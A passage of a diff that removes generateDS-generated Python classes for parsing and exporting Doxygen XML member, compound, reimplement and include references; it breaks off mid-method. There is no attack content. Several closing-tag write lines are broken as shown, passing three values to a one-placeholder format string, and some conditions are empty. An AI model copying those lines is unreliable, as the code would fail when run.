**kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - if member is None: - self.member = [] - else: - self.member = member - self.member_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, listofallmembersType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if listofallmembersType.subclass: - return listofallmembersType.subclass(*args_, **kwargs_) - else: - return listofallmembersType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_member(self): - return self.member - def set_member(self, member): - self.member = member - def add_member(self, value): - self.member.append(value) - def insert_member_at(self, index, value): - self.member.insert(index, value) - def replace_member_at(self, index, value): - self.member[index] = value - def hasContent_(self): - if ( - self.member - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='listofallmembersType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('listofallmembersType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'listofallmembersType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='listofallmembersType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='listofallmembersType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='listofallmembersType'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='listofallmembersType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for member_ in self.member: - namespaceprefix_ = self.member_nsprefix_ + ':' if (UseCapturedNS_ and self.member_nsprefix_) else '' - member_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='member', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'member': - obj_ = memberRefType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.member.append(obj_) - obj_.original_tagname_ = 'member' -# end class listofallmembersType - - -class memberRefType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, refid=None, prot=None, virt=None, ambiguityscope=None, scope=None, name=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.refid = _cast(None, refid) - self.refid_nsprefix_ = None - self.prot = _cast(None, prot) - self.prot_nsprefix_ = None - self.virt = _cast(None, virt) - self.virt_nsprefix_ = None - self.ambiguityscope = _cast(None, ambiguityscope) - self.ambiguityscope_nsprefix_ = None - self.scope = scope - self.scope_nsprefix_ = None - self.name = name - self.name_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, memberRefType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if memberRefType.subclass: - return memberRefType.subclass(*args_, **kwargs_) - else: - return memberRefType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_scope(self): - return self.scope - def set_scope(self, scope): - self.scope = scope - def get_name(self): - return self.name - def set_name(self, name): - self.name = name - def get_refid(self): - return self.refid - def set_refid(self, refid): - self.refid = refid - def get_prot(self): - return self.prot - def set_prot(self, prot): - self.prot = prot - def get_virt(self): - return self.virt - def set_virt(self, virt): - self.virt = virt - def get_ambiguityscope(self): - return self.ambiguityscope - def set_ambiguityscope(self, ambiguityscope): - self.ambiguityscope = ambiguityscope - def validate_DoxProtectionKind(self, value): - # Validate type DoxProtectionKind, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['public', 'protected', 'private', 'package'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxProtectionKind' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def validate_DoxVirtualKind(self, value): - # Validate type DoxVirtualKind, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['non-virtual', 'virtual', 'pure-virtual'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxVirtualKind' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def hasContent_(self): - if ( - self.scope is not None or - self.name is not None - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='memberRefType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('memberRefType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'memberRefType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='memberRefType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='memberRefType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='memberRefType'): - if self.refid is not None and 'refid' not in already_processed: - already_processed.add('refid') - outfile.write(' refid=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.refid), input_name='refid')), )) - if self.prot is not None and 'prot' not in already_processed: - already_processed.add('prot') - outfile.write(' prot=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.prot), input_name='prot')), )) - if self.virt is not None and 'virt' not in already_processed: - already_processed.add('virt') - outfile.write(' virt=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.virt), input_name='virt')), )) - if self.ambiguityscope is not None and 'ambiguityscope' not in already_processed: - already_processed.add('ambiguityscope') - outfile.write(' ambiguityscope=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.ambiguityscope), input_name='ambiguityscope')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='memberRefType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.scope is not None: - namespaceprefix_ = self.scope_nsprefix_ + ':' if (UseCapturedNS_ and self.scope_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sscope>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(self.scope), input_name='scope')), namespaceprefix_ , eol_)) - if self.name is not None: - namespaceprefix_ = self.name_nsprefix_ + ':' if (UseCapturedNS_ and self.name_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sname>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(self.name), input_name='name')), namespaceprefix_ , eol_)) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('refid', node) - if value is not None and 'refid' not in already_processed: - already_processed.add('refid') - self.refid = value - value = find_attr_value_('prot', node) - if value is not None and 'prot' not in already_processed: - already_processed.add('prot') - self.prot = value - self.validate_DoxProtectionKind(self.prot) # validate type DoxProtectionKind - value = find_attr_value_('virt', node) - if value is not None and 'virt' not in already_processed: - already_processed.add('virt') - self.virt = value - self.validate_DoxVirtualKind(self.virt) # validate type DoxVirtualKind - value = find_attr_value_('ambiguityscope', node) - if value is not None and 'ambiguityscope' not in already_processed: - already_processed.add('ambiguityscope') - self.ambiguityscope = value - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'scope': - value_ = child_.text - value_ = self.gds_parse_string(value_, node, 'scope') - value_ = self.gds_validate_string(value_, node, 'scope') - self.scope = value_ - self.scope_nsprefix_ = child_.prefix - elif nodeName_ == 'name': - value_ = child_.text - value_ = self.gds_parse_string(value_, node, 'name') - value_ = self.gds_validate_string(value_, node, 'name') - self.name = value_ - self.name_nsprefix_ = child_.prefix -# end class memberRefType - - -class scope(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, scope) - if subclass is not None: - return subclass(*args_, **kwargs_) - if scope.subclass: - return scope.subclass(*args_, **kwargs_) - else: - return scope(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def hasContent_(self): - if ( - - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='scope', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('scope') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'scope': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='scope') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='scope', pretty_print=pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='scope'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='scope', fromsubclass_=False, pretty_print=True): - pass - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - pass -# end class scope - - -class name(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, name) - if subclass is not None: - return subclass(*args_, **kwargs_) - if name.subclass: - return name.subclass(*args_, **kwargs_) - else: - return name(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def hasContent_(self): - if ( - - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='name', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('name') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'name': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='name') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='name', pretty_print=pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='name'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='name', fromsubclass_=False, pretty_print=True): - pass - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - pass -# end class name - - -class docHtmlOnlyType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, block=None, valueOf_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.block = _cast(None, block) - self.block_nsprefix_ = None - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docHtmlOnlyType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docHtmlOnlyType.subclass: - return docHtmlOnlyType.subclass(*args_, **kwargs_) - else: - return docHtmlOnlyType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_block(self): - return self.block - def set_block(self, block): - self.block = block - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def hasContent_(self): - if ( - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docHtmlOnlyType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docHtmlOnlyType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docHtmlOnlyType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docHtmlOnlyType') - if self.hasContent_(): - outfile.write('>') - outfile.write(self.convert_unicode(self.valueOf_)) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docHtmlOnlyType', pretty_print=pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docHtmlOnlyType'): - if self.block is not None and 'block' not in already_processed: - already_processed.add('block') - outfile.write(' block=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.block), input_name='block')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docHtmlOnlyType', fromsubclass_=False, pretty_print=True): - pass - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('block', node) - if value is not None and 'block' not in already_processed: - already_processed.add('block') - self.block = value - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - pass -# end class docHtmlOnlyType - - -class compoundRefType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, refid=None, prot=None, virt=None, valueOf_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.refid = _cast(None, refid) - self.refid_nsprefix_ = None - self.prot = _cast(None, prot) - self.prot_nsprefix_ = None - self.virt = _cast(None, virt) - self.virt_nsprefix_ = None - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, compoundRefType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if compoundRefType.subclass: - return compoundRefType.subclass(*args_, **kwargs_) - else: - return compoundRefType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_refid(self): - return self.refid - def set_refid(self, refid): - self.refid = refid - def get_prot(self): - return self.prot - def set_prot(self, prot): - self.prot = prot - def get_virt(self): - return self.virt - def set_virt(self, virt): - self.virt = virt - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def validate_DoxProtectionKind(self, value): - # Validate type DoxProtectionKind, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['public', 'protected', 'private', 'package'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxProtectionKind' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def validate_DoxVirtualKind(self, value): - # Validate type DoxVirtualKind, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['non-virtual', 'virtual', 'pure-virtual'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxVirtualKind' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def hasContent_(self): - if ( - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='compoundRefType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('compoundRefType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'compoundRefType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='compoundRefType') - if self.hasContent_(): - outfile.write('>') - outfile.write(self.convert_unicode(self.valueOf_)) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='compoundRefType', pretty_print=pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='compoundRefType'): - if self.refid is not None and 'refid' not in already_processed: - already_processed.add('refid') - outfile.write(' refid=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.refid), input_name='refid')), )) - if self.prot is not None and 'prot' not in already_processed: - already_processed.add('prot') - outfile.write(' prot=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.prot), input_name='prot')), )) - if self.virt is not None and 'virt' not in already_processed: - already_processed.add('virt') - outfile.write(' virt=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.virt), input_name='virt')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='compoundRefType', fromsubclass_=False, pretty_print=True): - pass - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('refid', node) - if value is not None and 'refid' not in already_processed: - already_processed.add('refid') - self.refid = value - value = find_attr_value_('prot', node) - if value is not None and 'prot' not in already_processed: - already_processed.add('prot') - self.prot = value - self.validate_DoxProtectionKind(self.prot) # validate type DoxProtectionKind - value = find_attr_value_('virt', node) - if value is not None and 'virt' not in already_processed: - already_processed.add('virt') - self.virt = value - self.validate_DoxVirtualKind(self.virt) # validate type DoxVirtualKind - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - pass -# end class compoundRefType - - -class reimplementType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, refid=None, valueOf_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.refid = _cast(None, refid) - self.refid_nsprefix_ = None - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, reimplementType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if reimplementType.subclass: - return reimplementType.subclass(*args_, **kwargs_) - else: - return reimplementType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_refid(self): - return self.refid - def set_refid(self, refid): - self.refid = refid - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def hasContent_(self): - if ( - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='reimplementType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('reimplementType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'reimplementType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='reimplementType') - if self.hasContent_(): - outfile.write('>') - outfile.write(self.convert_unicode(self.valueOf_)) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='reimplementType', pretty_print=pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='reimplementType'): - if self.refid is not None and 'refid' not in already_processed: - already_processed.add('refid') - outfile.write(' refid=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.refid), input_name='refid')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='reimplementType', fromsubclass_=False, pretty_print=True): - pass - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('refid', node) - if value is not None and 'refid' not in already_processed: - already_processed.add('refid') - self.refid = value - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - pass -# end class reimplementType - - -class incType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, refid=None, local=None, valueOf_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.refid = _cast(None, refid) - self.refid_nsprefix_ = None - self.local = _cast(None, local) - self.local_nsprefix_ = None - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, incType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if incType.subclass: - return incType.subclass(*args_, **kwargs_) - else: - return incType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_refid(self): - return self.refid - def set_refid(self, refid): - self.refid = refid - def get_local(self): - return self.local - def set_local(self, local): - self.local = local - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def validate_DoxBool(self, value): - # Validate type DoxBool, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['yes', 'no'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxBool' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def hasContent_(self): - if ( - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='incType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('incType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'incType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - 